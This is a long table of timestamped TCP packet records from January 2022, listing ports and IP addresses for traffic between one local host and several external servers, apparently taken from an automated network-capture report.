Jan 14, 2022 01:51:05.627223969 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.627237082 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.627283096 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.627332926 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.627614021 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.627646923 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.627720118 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.627734900 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.627784967 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.627973080 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.628009081 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.628056049 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.628067017 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.628097057 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.628110886 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.628396988 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.628429890 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.628484011 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.628498077 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.628516912 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.628549099 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.645967007 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.646004915 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.646064043 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.646099091 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.646114111 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.646290064 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.646334887 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.646384001 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.646399021 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.646411896 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.646450996 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.647296906 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647334099 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647391081 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.647404909 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647418022 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.647567987 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647605896 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647651911 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.647665024 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647680998 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.647804976 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647842884 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647882938 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.647898912 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.647922039 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.647954941 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.647995949 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648063898 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648066044 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.648092985 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648135900 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.648344994 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648384094 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648441076 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.648453951 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648477077 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.648649931 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648689032 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648721933 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.648746967 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648772001 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.648869038 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648904085 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648940086 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.648952961 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.648966074 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.649070024 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.649123907 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.649141073 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.649156094 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.649183989 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.649238110 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.649324894 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.650815010 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.650844097 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:05.650901079 CET	49778	443	192.168.2.3	162.159.134.233
Jan 14, 2022 01:51:05.650914907 CET	443	49778	162.159.134.233	192.168.2.3
Jan 14, 2022 01:51:07.244556904 CET	49779	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.295108080 CET	80	49779	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.295248985 CET	49779	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.295439005 CET	49779	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.295481920 CET	49779	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.346137047 CET	80	49779	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.372993946 CET	80	49779	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.373306036 CET	49779	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.373363018 CET	49779	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.411246061 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.423998117 CET	80	49779	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.461826086 CET	80	49780	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.462250948 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.462353945 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.462366104 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.512731075 CET	80	49780	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.539778948 CET	80	49780	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.540162086 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.540338039 CET	49780	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.566090107 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.590456009 CET	80	49780	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.617971897 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.618170977 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.618221045 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.618228912 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.670049906 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.700468063 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:07.700810909 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.704133987 CET	49782	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:07.718512058 CET	49783	80	192.168.2.3	188.166.28.199
Jan 14, 2022 01:51:07.755953074 CET	80	49782	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:08.398036957 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:08.398169041 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:08.400862932 CET	49767	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 01:51:08.463721037 CET	8080	49767	185.7.214.171	192.168.2.3
Jan 14, 2022 01:51:10.727668047 CET	49783	80	192.168.2.3	188.166.28.199
Jan 14, 2022 01:51:16.743798018 CET	49783	80	192.168.2.3	188.166.28.199
Jan 14, 2022 01:51:28.910832882 CET	49800	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:28.960992098 CET	80	49800	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:28.961105108 CET	49800	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:28.961206913 CET	49800	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:28.962687969 CET	49800	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.012763023 CET	80	49800	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.070518970 CET	80	49800	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.070626974 CET	49800	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.070684910 CET	49800	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.098253965 CET	49801	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.121069908 CET	80	49800	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.150363922 CET	80	49801	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.150564909 CET	49801	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.150616884 CET	49801	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.150626898 CET	49801	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.202397108 CET	80	49801	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.202553034 CET	80	49801	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.230870962 CET	80	49801	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.230981112 CET	49801	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.231164932 CET	49801	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.283096075 CET	80	49801	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.298770905 CET	49803	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.349214077 CET	80	49803	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.350042105 CET	49803	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.350092888 CET	49803	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.350142956 CET	49803	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.400371075 CET	80	49803	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.456669092 CET	80	49803	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.456924915 CET	49803	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.456953049 CET	49803	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.508196115 CET	80	49803	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.754189014 CET	49805	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.804843903 CET	80	49805	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.808159113 CET	49805	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.808217049 CET	49805	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.808227062 CET	49805	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.858927011 CET	80	49805	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.899509907 CET	80	49805	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.899543047 CET	80	49805	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.899627924 CET	49805	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.899676085 CET	49805	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:29.950196981 CET	80	49805	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:29.966931105 CET	49807	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.017676115 CET	80	49807	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.017808914 CET	49807	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.017925978 CET	49807	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.017950058 CET	49807	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.068378925 CET	80	49807	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.068404913 CET	80	49807	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.107336998 CET	80	49807	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.108109951 CET	49807	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.108246088 CET	49807	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.134056091 CET	49809	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.158469915 CET	80	49807	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.185816050 CET	80	49809	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.185911894 CET	49809	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.186029911 CET	49809	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.186038971 CET	49809	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.237904072 CET	80	49809	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.263150930 CET	80	49809	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.263324976 CET	49809	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.263495922 CET	49809	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.300311089 CET	49811	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.315395117 CET	80	49809	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.352089882 CET	80	49811	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.352215052 CET	49811	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.352375031 CET	49811	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.352401972 CET	49811	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.404081106 CET	80	49811	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.436500072 CET	80	49811	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.436615944 CET	49811	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.436750889 CET	49811	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.463407993 CET	49812	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.488293886 CET	80	49811	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.513556004 CET	80	49812	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.513773918 CET	49812	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.513890982 CET	49812	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.513951063 CET	49812	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.564199924 CET	80	49812	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.591738939 CET	80	49812	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.592159033 CET	49812	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.598253965 CET	49812	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.648365974 CET	80	49812	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.650537014 CET	49814	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.701280117 CET	80	49814	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.701483965 CET	49814	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.701499939 CET	49814	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.701503038 CET	49814	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.752135992 CET	80	49814	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.778527975 CET	80	49814	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.778724909 CET	49814	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.816947937 CET	49814	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.851644993 CET	49816	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.867902040 CET	80	49814	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.902184010 CET	80	49816	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.902446032 CET	49816	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.902676105 CET	49816	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.902745008 CET	49816	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.952960014 CET	80	49816	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.982167959 CET	80	49816	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:30.982317924 CET	49816	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:30.982409954 CET	49816	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.031708956 CET	49818	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.032746077 CET	80	49816	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.082560062 CET	80	49818	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.082776070 CET	49818	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.082880020 CET	49818	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.082906008 CET	49818	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.133467913 CET	80	49818	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.160223007 CET	80	49818	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.160347939 CET	49818	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.166635036 CET	49818	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.217509031 CET	80	49818	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.235676050 CET	49820	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.286045074 CET	80	49820	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.286223888 CET	49820	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.286286116 CET	49820	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.286334991 CET	49820	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.336571932 CET	80	49820	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.361207962 CET	80	49820	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.361392975 CET	49820	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.367259026 CET	49820	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.395106077 CET	49821	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.417666912 CET	80	49820	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.445529938 CET	80	49821	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.445802927 CET	49821	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.445926905 CET	49821	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.445935965 CET	49821	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.496675968 CET	80	49821	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.524931908 CET	80	49821	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.524981976 CET	80	49821	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.525892019 CET	49821	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.528620005 CET	49821	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.579202890 CET	80	49821	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.590857029 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.641323090 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.641398907 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.641498089 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.734734058 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876199961 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876256943 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876297951 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876311064 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.876336098 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876375914 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876389980 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.876416922 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876460075 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.876580000 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876621008 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876657963 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876671076 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.876698017 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.876741886 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928248882 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928306103 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928344965 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928356886 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928385019 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928421974 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928422928 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928463936 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928503990 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928505898 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928540945 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928580046 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928580046 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928618908 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928657055 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928658962 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928695917 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928734064 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928735971 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928772926 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928813934 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928814888 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928852081 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928891897 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.928891897 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928931952 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928968906 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.928971052 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.929009914 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.929052114 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.979651928 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.979706049 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.979743958 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.979777098 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.979784012 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.979823112 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.979825020 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.979861975 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.979899883 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.979903936 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.979940891 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.979979992 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.979981899 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980021000 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980060101 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980062008 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980099916 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980139971 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980139971 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980179071 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980218887 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980222940 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980259895 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980298042 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980298996 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980339050 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980376959 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980379105 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980416059 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980453014 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980454922 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980494976 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980531931 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980535030 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980571985 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980612040 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980612040 CET	49823	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:31.980649948 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980688095 CET	80	49823	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:31.980690002 CET	49823	80	192.168.2.3	93.189.42.167
